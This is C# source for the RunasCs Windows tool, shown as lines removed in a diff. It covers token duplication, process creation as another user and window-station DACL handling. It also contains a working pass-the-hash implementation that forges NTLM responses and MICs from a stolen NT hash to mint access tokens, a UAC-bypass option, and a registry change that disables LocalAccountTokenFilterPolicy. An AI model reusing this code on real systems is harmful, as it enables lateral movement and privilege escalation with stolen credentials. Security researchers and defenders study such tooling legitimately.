CloseHandle(hTokenDuplicate); - } - - private void RunasCreateProcessAsUserW(string username, string domainName, string password, int logonType, int logonProvider, string commandLine, bool forceUserProfileCreation, bool userProfileExists, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered, IntPtr hToken) { - IntPtr hTokenDuplicate = IntPtr.Zero; - IntPtr lpEnvironment = IntPtr.Zero; - bool checkLimitedLogon = true; - - if (hToken == IntPtr.Zero) - { - if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) - throw new RunasCsException("LogonUser", true); - } - else - { - checkLimitedLogon = false; - } - - if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenPrimary, ref hTokenDuplicate)) - throw new RunasCsException("DuplicateTokenEx", true); - - if (checkLimitedLogon) - { - if (IsLimitedUserLogon(hTokenDuplicate, username, domainName, password, out logonTypeNotFiltered)) - Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); - } - - GetUserEnvironmentBlock(hTokenDuplicate, username, forceUserProfileCreation, userProfileExists, out lpEnvironment); - // Enable SeAssignPrimaryTokenPrivilege on our current process needed by the kernel to make the CreateProcessAsUserW call - AccessToken.EnablePrivilege("SeAssignPrimaryTokenPrivilege", WindowsIdentity.GetCurrent().Token); - // Enable all privileges for the token of the new process - AccessToken.EnableAllPrivileges(hTokenDuplicate); - //the inherit handle flag must be true otherwise the pipe handles won't be inherited and the output won't be retrieved - if (!CreateProcessAsUser(hTokenDuplicate, null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo)) - throw new RunasCsException("CreateProcessAsUser", true); - if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment); - CloseHandle(hToken); - CloseHandle(hTokenDuplicate); - } - - public RunasCs() - { - this.hOutputRead = new IntPtr(0); - this.hOutputWrite = new IntPtr(0); - this.hErrorWrite = new IntPtr(0); - this.socket = new IntPtr(0); - this.stationDaclObj = null; - this.hTokenPreviousImpersonatingThread = new IntPtr(0); - } - - public void CleanupHandles() - { - if(this.hOutputRead != IntPtr.Zero) CloseHandle(this.hOutputRead); - if(this.hOutputWrite != IntPtr.Zero) CloseHandle(this.hOutputWrite); - if(this.hErrorWrite != IntPtr.Zero) CloseHandle(this.hErrorWrite); - if(this.socket != IntPtr.Zero) closesocket(this.socket); - if(this.stationDaclObj != null) this.stationDaclObj.CleanupHandles(); - this.hOutputRead = IntPtr.Zero; - this.hOutputWrite = IntPtr.Zero; - this.hErrorWrite = IntPtr.Zero; - this.socket = IntPtr.Zero; - this.hTokenPreviousImpersonatingThread = IntPtr.Zero; - this.stationDaclObj = null; - } - - private byte[] ConvertNtHashToByteArray(string ntHash) - { - // Validate the NT hash (it should be an even length string of hexadecimal characters) - if (ntHash.Length != 32 || !System.Text.RegularExpressions.Regex.IsMatch(ntHash, @"^[0-9A-Fa-f]+$")) - { - throw new ArgumentException("Invalid NT hash format."); - } - - byte[] byteArray = new byte[ntHash.Length / 2]; - for (int i = 0; i < ntHash.Length; i += 2) - { - byteArray[i / 2] = Convert.ToByte(ntHash.Substring(i, 2), 16); - } - - return byteArray; - } - - public string RunAs(string username, string password, string cmd, string domainName, uint processTimeout, int logonType, int createProcessFunction, string[] remote, bool forceUserProfileCreation, bool bypassUac, bool remoteImpersonation, bool passTheHash, bool disableTokenFiltering) - /* - int createProcessFunction: - 0: CreateProcessAsUserW(); - 1: CreateProcessWithTokenW(); - 2: CreateProcessWithLogonW(); - */ - { - string commandLine = ParseCommonProcessesInCommandline(cmd); - int logonProvider = LOGON32_PROVIDER_DEFAULT; - int logonTypeNotFiltered = 0; - bool userProfileExists; - uint logonFlags = 0; - STARTUPINFO startupInfo = new STARTUPINFO(); - startupInfo.cb = Marshal.SizeOf(startupInfo); - startupInfo.lpReserved = null; - ProcessInformation processInfo = new ProcessInformation(); - // setup the std handles for the process based on the user input - RunasSetupStdHandlesForProcess(processTimeout, remote, ref startupInfo, out this.hOutputWrite, out this.hErrorWrite, out this.hOutputRead, out socket); - // add the proper DACL on the window station and desktop that will be used - this.stationDaclObj = new WindowStationDACL(); - string desktopName = this.stationDaclObj.AddAclToActiveWindowStation(domainName, username, logonType); - startupInfo.lpDesktop = desktopName; - // setup proper logon provider for new credentials (9) logons - if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) { - logonProvider = LOGON32_PROVIDER_WINNT50; - if (domainName == "") // fixing bugs in seclogon when using LOGON32_LOGON_NEW_CREDENTIALS... - domainName = "."; - } - - if (passTheHash) - { - // perform pass the hash - - // set the default as workgroup - // so this will work for any local user - if (domainName == "") - { - domainName = "WORKGROUP"; - } - - byte[] ntHash; - - // convert the password hash to a byte array - try - { - ntHash = ConvertNtHashToByteArray(password); - } - catch (ArgumentException e) - { - Console.WriteLine("[-] " + e.Message); - return ""; - } - - object oldFilterPolicy = null; - IntPtr hToken = IntPtr.Zero; - - RunasNtlmPth ntlmAuth = new RunasNtlmPth(); - - // disable token filtering in order to run an elevated process - if (disableTokenFiltering) - { - oldFilterPolicy = ntlmAuth.DisableTokenFiltering(); - } - - // get the token - try - { - hToken = ntlmAuth.RunasNtlm(username, domainName, ntHash); - } - catch (RunasCsException e) - { - Console.WriteLine(e.Message); - return ""; - } - - if (remoteImpersonation) - RunasRemoteImpersonation(username, domainName, password, logonType, logonProvider, commandLine, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, hToken); - else if (createProcessFunction == 2) - throw new RunasCsException("The flag --function 2 is not compatible with --pth"); - else if (bypassUac) - throw new RunasCsException(String.Format("The flag --bypass-uac is not compatible with {0} but only with --function '2' (CreateProcessWithLogonW)", GetProcessFunction(createProcessFunction))); - else if (createProcessFunction == 0) - RunasCreateProcessAsUserW(username, domainName, password, logonType, logonProvider, commandLine, forceUserProfileCreation, false, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, hToken); - else if (createProcessFunction == 1) - RunasCreateProcessWithTokenW(username, domainName, password, commandLine, logonType, logonFlags, logonProvider, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, hToken); - - if (passTheHash && disableTokenFiltering) - { - // restore token filtering former policy - ntlmAuth.RestoreTokenFiltering(oldFilterPolicy); - } - - } else { - // we check if the user has been granted the logon type requested, if not we show a message suggesting which logon type can be used to succesfully logon - CheckAvailableUserLogonType(username, password, domainName, logonType, logonProvider); - - // Use the proper CreateProcess* function - if (remoteImpersonation) - RunasRemoteImpersonation(username, domainName, password, logonType, logonProvider, commandLine, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, IntPtr.Zero); - else { - userProfileExists = IsUserProfileCreated(username, password, domainName, logonType); - // we load the user profile only if it has been already created or the creation is forced from the flag --force-profile - if (userProfileExists || forceUserProfileCreation) - logonFlags = LOGON_WITH_PROFILE; - if (logonType != LOGON32_LOGON_NEW_CREDENTIALS && !forceUserProfileCreation && !userProfileExists) - Console.Out.WriteLine("[*] Warning: User profile directory for user " + username + " does not exists. Use --force-profile if you want to force the creation."); - if (createProcessFunction == 2) - RunasCreateProcessWithLogonW(username, domainName, password, logonType, logonFlags, commandLine, bypassUac, ref startupInfo, ref processInfo, ref logonTypeNotFiltered); - else { - if (bypassUac) - throw new RunasCsException(String.Format("The flag --bypass-uac is not compatible with {0} but only with --function '2' (CreateProcessWithLogonW)", GetProcessFunction(createProcessFunction))); - if (createProcessFunction == 0) - RunasCreateProcessAsUserW(username, domainName, password, logonType, logonProvider, commandLine, forceUserProfileCreation, userProfileExists, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, IntPtr.Zero); - else if (createProcessFunction == 1) - RunasCreateProcessWithTokenW(username, domainName, password, commandLine, logonType, logonFlags, logonProvider, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, IntPtr.Zero); - } - } - } - - Console.Out.Flush(); // flushing console before waiting for child process execution - string output = ""; - if (processTimeout > 0) { - CloseHandle(this.hOutputWrite); - CloseHandle(this.hErrorWrite); - this.hOutputWrite = IntPtr.Zero; - this.hErrorWrite = IntPtr.Zero; - WaitForSingleObject(processInfo.process, processTimeout); - output += "\r\n" + ReadOutputFromPipe(this.hOutputRead); - } else { - int sessionId = System.Diagnostics.Process.GetCurrentProcess().SessionId; - if (remoteImpersonation) - output += "\r\n[+] Running in session " + sessionId.ToString() + " with process function 'Remote Impersonation' \r\n"; - else - output += "\r\n[+] Running in session " + sessionId.ToString() + " with process function " + GetProcessFunction(createProcessFunction) + "\r\n"; - output += "[+] Using Station\\Desktop: " + desktopName + "\r\n"; - output += "[+] Async process '" + commandLine + "' with pid " + processInfo.processId + " created in background.\r\n"; - } - CloseHandle(processInfo.process); - CloseHandle(processInfo.thread); - this.CleanupHandles(); - return output; - } -} - -public class RunasNtlmPth -{ - - [StructLayout(LayoutKind.Sequential)] - private struct SecHandle - { - public UIntPtr dwLower; - public UIntPtr dwUpper; - } - - [StructLayout(LayoutKind.Sequential)] - private struct TimeStamp - { - public long QuadPart; - } - - private enum SecBufferType : uint - { - SECBUFFER_EMPTY = 0, - SECBUFFER_VERSION = 0, - SECBUFFER_TOKEN = 2, - } - - private enum SecurityStatus : uint - { - SEC_I_OK = 0, - SEC_E_INSUFFICIENT_MEMORY = 0x80090300, - SEC_E_INVALID_HANDLE = 0x80090301, - SEC_E_LOGON_DENIED = 0x8009030C, - SEC_I_CONTINUE_NEEDED = 0x0090312, - SEC_I_COMPLETE_NEEDED = 0x0090313, - SEC_I_COMPLETE_AND_CONTINUE = 0x0090314, - } - - [StructLayout(LayoutKind.Sequential)] - private struct SEC_WINNT_AUTH_IDENTITY_W - { - public string User; - public uint UserLength; - public string Domain; - public uint DomainLength; - public string Password; - public uint PasswordLength; - public uint Flags; - } - - [DllImport("secur32.dll", CharSet = CharSet.Auto)] - static extern SecurityStatus AcquireCredentialsHandle( - string pszPrincipal, - string pszPackage, - int fCredentialUse, - IntPtr PAuthenticationID, - ref SEC_WINNT_AUTH_IDENTITY_W pAuthData, - int pGetKeyFn, - IntPtr pvGetKeyArgument, - ref SecHandle phCredential, - IntPtr ptsExpiry - ); - - [DllImport("secur32.dll", CharSet = CharSet.Auto)] - static extern SecurityStatus InitializeSecurityContext( - ref SecHandle phCredential, - IntPtr phContext, - string pszTargetName, - int fContextReq, - int Reserved1, - int TargetDataRep, - IntPtr pInput, - int Reserved2, - out SecHandle phNewContext, - out SecBufferDesc pOutput, - out uint pfContextAttr, - IntPtr ptsExpiry - ); - - [DllImport("secur32.dll", CharSet = CharSet.Auto)] - static extern SecurityStatus InitializeSecurityContext( - ref SecHandle phCredential, - ref SecHandle phContext, - string pszTargetName, - int fContextReq, - int Reserved1, - int TargetDataRep, - ref SecBufferDesc SecBufferDesc, - int Reserved2, - out SecHandle phNewContext, - out SecBufferDesc pOutput, - out uint pfContextAttr, - IntPtr ptsExpiry - ); - - [DllImport("secur32.dll")] - static extern SecurityStatus AcceptSecurityContext( - ref SecHandle phCredential, - IntPtr phContext, - ref SecBufferDesc pInput, - uint fContextReq, - uint TargetDataRep, - out SecHandle phNewContext, - out SecBufferDesc pOutput, - out uint pfContextAttr, - IntPtr ptsTimeStamp - ); - - [DllImport("secur32.dll")] - static extern SecurityStatus AcceptSecurityContext( - ref SecHandle phCredential, - ref SecHandle phContext, - ref SecBufferDesc pInput, - uint fContextReq, - uint TargetDataRep, - out SecHandle phNewContext, - IntPtr pOutput, - out uint pfContextAttr, - IntPtr ptsTimeStamp - ); - - [DllImport("secur32.dll")] - static extern SecurityStatus QuerySecurityContextToken( - ref SecHandle phContext, - out IntPtr Token - ); - - // took from InternalMonologue.cs - // https://github.com/eladshamir/Internal-Monologue - // credits goes to Elad Shamir for this code - const int MAX_TOKEN_SIZE = 12288; - struct SecBuffer : IDisposable - { - public int cbBuffer; - public int BufferType; - public IntPtr pvBuffer; - - public SecBuffer(int bufferSize) - { - cbBuffer = bufferSize; - BufferType = 2; - pvBuffer = Marshal.AllocHGlobal(bufferSize); - } - - public SecBuffer(byte[] secBufferBytes) - { - cbBuffer = secBufferBytes.Length; - BufferType = 2; - pvBuffer = Marshal.AllocHGlobal(cbBuffer); - Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); - } - - public SecBuffer(byte[] secBufferBytes, int bufferType) - { - cbBuffer = secBufferBytes.Length; - BufferType = (int)bufferType; - pvBuffer = Marshal.AllocHGlobal(cbBuffer); - Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); - } - - public void Dispose() - { - if (pvBuffer != IntPtr.Zero) - { - Marshal.FreeHGlobal(pvBuffer); - pvBuffer = IntPtr.Zero; - } - } - } - - struct SecBufferDesc : IDisposable - { - public int ulVersion; - public int cBuffers; - public IntPtr pBuffers; - - public SecBufferDesc(int bufferSize) - { - ulVersion = 0; - cBuffers = 1; - SecBuffer ThisSecBuffer = new SecBuffer(bufferSize); - pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); - Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); - } - - public SecBufferDesc(byte[] secBufferBytes) - { - ulVersion = 0; - cBuffers = 1; - SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes); - pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); - Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); - } - - public void Dispose() - { - if (pBuffers != IntPtr.Zero) - { - if (cBuffers == 1) - { - SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); - ThisSecBuffer.Dispose(); - } - else - { - for (int Index = 0; Index < cBuffers; Index++) - { - int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); - IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); - Marshal.FreeHGlobal(SecBufferpvBuffer); - } - } - - Marshal.FreeHGlobal(pBuffers); - pBuffers = IntPtr.Zero; - } - } - - public byte[] GetSecBufferByteArray() - { - byte[] Buffer = null; - - if (pBuffers == IntPtr.Zero) - { - throw new InvalidOperationException("Object has already been disposed!!!"); - } - - if (cBuffers == 1) - { - SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); - - if (ThisSecBuffer.cbBuffer > 0) - { - Buffer = new byte[ThisSecBuffer.cbBuffer]; - Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer); - } - } - else - { - int BytesToAllocate = 0; - - for (int Index = 0; Index < cBuffers; Index++) - { - //calculate the total number of bytes we need to copy... - int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); - BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset); - } - - Buffer = new byte[BytesToAllocate]; - - for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++) - { - //Now iterate over the individual buffers and put them together into a byte array... - int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); - int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset); - IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); - Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy); - BufferIndex += BytesToCopy; - } - } - - return (Buffer); - } - } - - // also took from Elad Shamir Internal Monologue project - private object GetRegKey(string key, string name) - { - object value = null; - - RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key); - if (Lsa != null) - { - value = Lsa.GetValue(name); - } - - return value; - } - - // also took from Elad Shamir Internal Monologue project - private void SetRegKey(string key, string name, object value) - { - RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key, true); - if (Lsa != null) - { - if (value == null) - { - Lsa.DeleteValue(name); - } - else - { - Lsa.SetValue(name, value); - } - } - } - - public byte[] GetMd5Hmac(byte[] key, object data) - { - using (var algo = new HMACMD5(key)) - { - byte[] dataBytes; - if (data is string) - { - dataBytes = Encoding.Unicode.GetBytes((string)data); - } - else if (data is byte[]) - { - dataBytes = (byte[])data; - } - else - { - throw new ArgumentException("Data must be a string or a byte array."); - } - - return algo.ComputeHash(dataBytes); - } - } - - private const string regKey = @"Software\Microsoft\Windows\CurrentVersion\Policies\System"; - private const string regValue = "LocalAccountTokenFilterPolicy"; - - public object DisableTokenFiltering() - { - // get the value - object OldfilterPolicy = GetRegKey(@"", regKey); - - // change the value - SetRegKey(regKey, regValue, 1); - - return OldfilterPolicy; - } - - public void RestoreTokenFiltering(object value) - { - SetRegKey(regKey, regValue, value); - } - - public IntPtr RunasNtlm(string username, string domain, byte[] passwordHash) - { - // initialize tokens - SecBufferDesc negotiateToken = new SecBufferDesc(MAX_TOKEN_SIZE); - SecBufferDesc challengeToken = new SecBufferDesc(MAX_TOKEN_SIZE); - SecBufferDesc authenticateToken = new SecBufferDesc(MAX_TOKEN_SIZE); - - SecHandle creds = new SecHandle(); - SecHandle clientCtx; - SecHandle serverCtx; - IntPtr accessToken; - uint flags = 0; - - SEC_WINNT_AUTH_IDENTITY_W identity = new SEC_WINNT_AUTH_IDENTITY_W - { - Domain = domain, - DomainLength = (uint)domain.Length, - User = username, - UserLength = (uint)username.Length, - Flags = 1, - }; - - SecurityStatus ss = AcquireCredentialsHandle( - null, - "NTLM", - 0x03, - IntPtr.Zero, - ref identity, - 0, - IntPtr.Zero, - ref creds, - IntPtr.Zero - ); - - if (ss != SecurityStatus.SEC_I_OK) - { - throw new RunasCsException("AcquireCredentialHandle failed with error: " + ss); - } - - // get the negotiate token - ss = InitializeSecurityContext( - ref creds, - IntPtr.Zero, - null, - 0x00000800, - 0, - 0x10, - IntPtr.Zero, - 0, - out clientCtx, - out negotiateToken, - out flags, - IntPtr.Zero - ); - - if (ss != SecurityStatus.SEC_I_CONTINUE_NEEDED) - { - throw new RunasCsException("InitializeSecurityContext failed with error: " + ss); - } - - // get the challenge token - ss = AcceptSecurityContext( - ref creds, - IntPtr.Zero, - ref negotiateToken, - 0x00000800, - 0x10, - out serverCtx, - out challengeToken, - out flags, - IntPtr.Zero - ); - - if (ss != SecurityStatus.SEC_I_CONTINUE_NEEDED) - { - throw new RunasCsException("AcceptSecurityContext failed with error: " + ss); - } - - // get the authenticate token - ss = InitializeSecurityContext( - ref creds, - ref clientCtx, - null, - 0x00000800, - 0, - 0x10, - ref challengeToken, - 0, - out clientCtx, - out authenticateToken, - out flags, - IntPtr.Zero - ); - - if (ss != SecurityStatus.SEC_I_OK) - { - throw new RunasCsException("InitializedSecurityContext failed with error: " + ss); - } - - // negotiate token to bytes - SecBuffer secNegotiateToken = Marshal.PtrToStructure(negotiateToken.pBuffers); - byte[] pNegotiateToken = new byte[secNegotiateToken.cbBuffer]; - Marshal.Copy(secNegotiateToken.pvBuffer, pNegotiateToken, 0, secNegotiateToken.cbBuffer); - - // challenge token to bytes - SecBuffer secChallengeToken = Marshal.PtrToStructure(challengeToken.pBuffers); - byte[] pChallengeToken = new byte[secChallengeToken.cbBuffer]; - Marshal.Copy(secChallengeToken.pvBuffer, pChallengeToken, 0, secChallengeToken.cbBuffer); - - // authenticate token to bytes - SecBuffer secAuthenticateToken = Marshal.PtrToStructure(authenticateToken.pBuffers); - byte[] pAuthenticateToken = new byte[secAuthenticateToken.cbBuffer]; - Marshal.Copy(secAuthenticateToken.pvBuffer, pAuthenticateToken, 0, secAuthenticateToken.cbBuffer); - - // calculate Nt0wfv2 - byte[] ntOwfv2 = GetMd5Hmac(passwordHash, username.ToUpper() + domain); - - // the steps below are used to calculate NtProofStr (challenge response) - // get the server challenge - byte[] serverChallenge = new byte[8]; - Array.Copy(pChallengeToken, 24, serverChallenge, 0, 8); - - // get the nt challenge response field - int sizeChallengeResponse = BitConverter.ToInt16(pAuthenticateToken, 20) - 16; - int offsetChallengeResponse = BitConverter.ToInt32(pAuthenticateToken, 24); - byte[] ntChallengeResponse = new byte[sizeChallengeResponse]; - Array.Copy(pAuthenticateToken, offsetChallengeResponse + 16, ntChallengeResponse, 0, sizeChallengeResponse); - - // concatenate the two fields - byte[] combinedData = new byte[sizeChallengeResponse + 8]; - Array.Copy(serverChallenge, 0, combinedData, 0, serverChallenge.Length); - Array.Copy(ntChallengeResponse, 0, combinedData, 8, ntChallengeResponse.Length); - - // make the calculation - byte[] ntProofStr = GetMd5Hmac(ntOwfv2, combinedData); - - // replace the challenge response - Array.Copy(ntProofStr, 0, pAuthenticateToken, offsetChallengeResponse, 16); - - // the steps below are used to calculate the MIC - // reset the mic - Array.Clear(pAuthenticateToken, 72, 16); - - // calculate the session key - byte[] session_key = GetMd5Hmac(ntOwfv2, ntProofStr); - - // concatenate the 3 tokens - combinedData = new byte[pNegotiateToken.Length + pChallengeToken.Length + pAuthenticateToken.Length]; - Array.Copy(pNegotiateToken, 0, combinedData, 0, pNegotiateToken.Length); - Array.Copy(pChallengeToken, 0, combinedData, pNegotiateToken.Length, pChallengeToken.Length); - Array.Copy(pAuthenticateToken, 0, combinedData, pNegotiateToken.Length + pChallengeToken.Length, pAuthenticateToken.Length); - - // calculate the mic - byte[] mic = GetMd5Hmac(session_key, combinedData); - - // replace the mic - Array.Copy(mic, 0, pAuthenticateToken, 72, 16); - - // write the new patched token - secAuthenticateToken.pvBuffer = Marshal.AllocHGlobal(pAuthenticateToken.Length); - Marshal.Copy(pAuthenticateToken, 0, secAuthenticateToken.pvBuffer, pAuthenticateToken.Length); - authenticateToken.pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(secAuthenticateToken)); - Marshal.StructureToPtr(secAuthenticateToken, authenticateToken.pBuffers, false); - - // make the server validate the authenticate token - ss = AcceptSecurityContext( - ref creds, - ref serverCtx, - ref authenticateToken, - 0x00000800, - 0x10, - out serverCtx, - IntPtr.Zero, - out flags, - IntPtr.Zero - ); - - if (ss != SecurityStatus.SEC_I_OK) - { - throw new RunasCsException("AcceptSecurityContext failed with error: " + ss); - } - - // get an access token - ss = QuerySecurityContextToken( - ref serverCtx, - out accessToken - ); - - if (ss != SecurityStatus.SEC_I_OK) - { - throw new RunasCsException("QuerySecurityContextToken failed with error: " + ss); - } - - return accessToken; - } -} - -public class WindowStationDACL{ - - private const int UOI_NAME = 2; - private const int ERROR_INSUFFICIENT_BUFFER = 122; - private const uint SECURITY_DESCRIPTOR_REVISION = 1; - private const uint ACL_REVISION = 2; - private const uint MAXDWORD = 0xffffffff; - private const byte ACCESS_ALLOWED_ACE_TYPE = 0x0; - private const byte CONTAINER_INHERIT_ACE = 0x2; - private const byte INHERIT_ONLY_ACE = 0x8; - private const byte OBJECT_INHERIT_ACE = 0x1; - private const byte NO_PROPAGATE_INHERIT_ACE = 0x4; - private const int NO_ERROR = 0; - private const int ERROR_INVALID_FLAGS = 1004; // On Windows Server 2003 this error is/can be returned, but processing can still continue - - [Flags] - private enum ACCESS_MASK : uint - { - DELETE = 0x00010000, - READ_CONTROL = 0x00020000, - WRITE_DAC = 0x00040000, - WRITE_OWNER = 0x00080000, - SYNCHRONIZE = 0x00100000, - - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - - STANDARD_RIGHTS_READ = 0x00020000, - STANDARD_RIGHTS_WRITE = 0x00020000, - STANDARD_RIGHTS_EXECUTE = 0x00020000, - - STANDARD_RIGHTS_ALL = 0x001F0000, - - SPECIFIC_RIGHTS_ALL = 0x0000FFFF, - - ACCESS_SYSTEM_SECURITY = 0x01000000, - - MAXIMUM_ALLOWED = 0x02000000, - - GENERIC_READ = 0x80000000, - GENERIC_WRITE = 0x40000000, - GENERIC_EXECUTE = 0x20000000, - GENERIC_ALL = 0x10000000, - GENERIC_ACCESS = GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL, - - DESKTOP_READOBJECTS = 0x00000001, - DESKTOP_CREATEWINDOW = 0x00000002, - DESKTOP_CREATEMENU = 0x00000004, - DESKTOP_HOOKCONTROL = 0x00000008, - DESKTOP_JOURNALRECORD = 0x00000010, - DESKTOP_JOURNALPLAYBACK = 0x00000020, - DESKTOP_ENUMERATE = 0x00000040, - DESKTOP_WRITEOBJECTS = 0x00000080, - DESKTOP_SWITCHDESKTOP = 0x00000100, - DESKTOP_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | - DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | - DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP | - STANDARD_RIGHTS_REQUIRED), - - WINSTA_ENUMDESKTOPS = 0x00000001, - WINSTA_READATTRIBUTES = 0x00000002, - WINSTA_ACCESSCLIPBOARD = 0x00000004, - WINSTA_CREATEDESKTOP = 0x00000008, - WINSTA_WRITEATTRIBUTES = 0x00000010, - WINSTA_ACCESSGLOBALATOMS = 0x00000020, - WINSTA_EXITWINDOWS = 0x00000040, - WINSTA_ENUMERATE = 0x00000100, - WINSTA_READSCREEN = 0x00000200, - WINSTA_ALL = (WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS | - WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS | - WINSTA_ENUMERATE | WINSTA_EXITWINDOWS | - WINSTA_READATTRIBUTES | WINSTA_READSCREEN | - WINSTA_WRITEATTRIBUTES | DELETE | - READ_CONTROL | WRITE_DAC | - WRITE_OWNER) - } - - [Flags] - private enum SECURITY_INFORMATION : uint - { - OWNER_SECURITY_INFORMATION = 0x00000001, - GROUP_SECURITY_INFORMATION = 0x00000002, - DACL_SECURITY_INFORMATION = 0x00000004, - SACL_SECURITY_INFORMATION = 0x00000008, - UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000, - UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000, - PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000, - PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000 - } - - private enum ACL_INFORMATION_CLASS - { - AclRevisionInformation = 1, - AclSizeInformation = 2 - } - - private enum SID_NAME_USE - { - SidTypeUser = 1, - SidTypeGroup, - SidTypeDomain, - SidTypeAlias, - SidTypeWellKnownGroup, - SidTypeDeletedAccount, - SidTypeInvalid, - SidTypeUnknown, - SidTypeComputer - } - - [StructLayout(LayoutKind.Sequential)] - private struct SidIdentifierAuthority - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] - public byte[] Value; - } - - [StructLayout(LayoutKind.Sequential)] - private struct ACL_SIZE_INFORMATION - { - public uint AceCount; - public uint AclBytesInUse; - public uint AclBytesFree; - } - - [StructLayout(LayoutKind.Sequential)] - private struct ACE_HEADER - { - public byte AceType; - public byte AceFlags; - public short AceSize; - } - - [StructLayout(LayoutKind.Sequential)] - private struct ACCESS_ALLOWED_ACE - { - public ACE_HEADER Header; - public ACCESS_MASK Mask; - public uint SidStart; - } - - [DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern IntPtr GetProcessWindowStation(); - - [DllImport("user32.dll", SetLastError=true)] - private static extern bool GetUserObjectInformation(IntPtr hObj, int nIndex,[Out] byte [] pvInfo, uint nLength, out uint lpnLengthNeeded); - - [DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern IntPtr OpenWindowStation([MarshalAs(UnmanagedType.LPTStr)] string lpszWinSta,[MarshalAs(UnmanagedType.Bool)]bool fInherit, ACCESS_MASK dwDesiredAccess); - - [DllImport("user32.dll")] - private static extern IntPtr OpenDesktop(string lpszDesktop, uint dwFlags, bool fInherit, ACCESS_MASK dwDesiredAccess); - - [return: MarshalAs(UnmanagedType.Bool)] - [DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CloseWindowStation(IntPtr hWinsta); - - [DllImport("user32.dll", SetLastError=true)] - private static extern bool CloseDesktop(IntPtr hDesktop); - - [DllImport("user32.dll", SetLastError = true)] - private static extern bool SetProcessWindowStation(IntPtr hWinSta); - - [DllImport("advapi32.dll")] - private static extern IntPtr FreeSid(IntPtr pSid); - - [DllImport("user32.dll", SetLastError = true)] - private static extern bool GetUserObjectSecurity(IntPtr hObj, ref SECURITY_INFORMATION pSIRequested, IntPtr pSID, uint nLength, out uint lpnLengthNeeded); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool GetSecurityDescriptorDacl(IntPtr pSecurityDescriptor, [MarshalAs(UnmanagedType.Bool)] out bool bDaclPresent, ref IntPtr pDacl,[MarshalAs(UnmanagedType.Bool)] out bool bDaclDefaulted); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool GetAclInformation(IntPtr pAcl, ref ACL_SIZE_INFORMATION pAclInformation, uint nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass); - - [DllImport("advapi32.dll", SetLastError=true)] - private static extern bool InitializeSecurityDescriptor(IntPtr SecurityDescriptor, uint dwRevision); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern int GetLengthSid(IntPtr pSID); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool InitializeAcl(IntPtr pAcl, uint nAclLength, uint dwAclRevision); - - [DllImport("advapi32.dll", SetLastError = true)] - private static 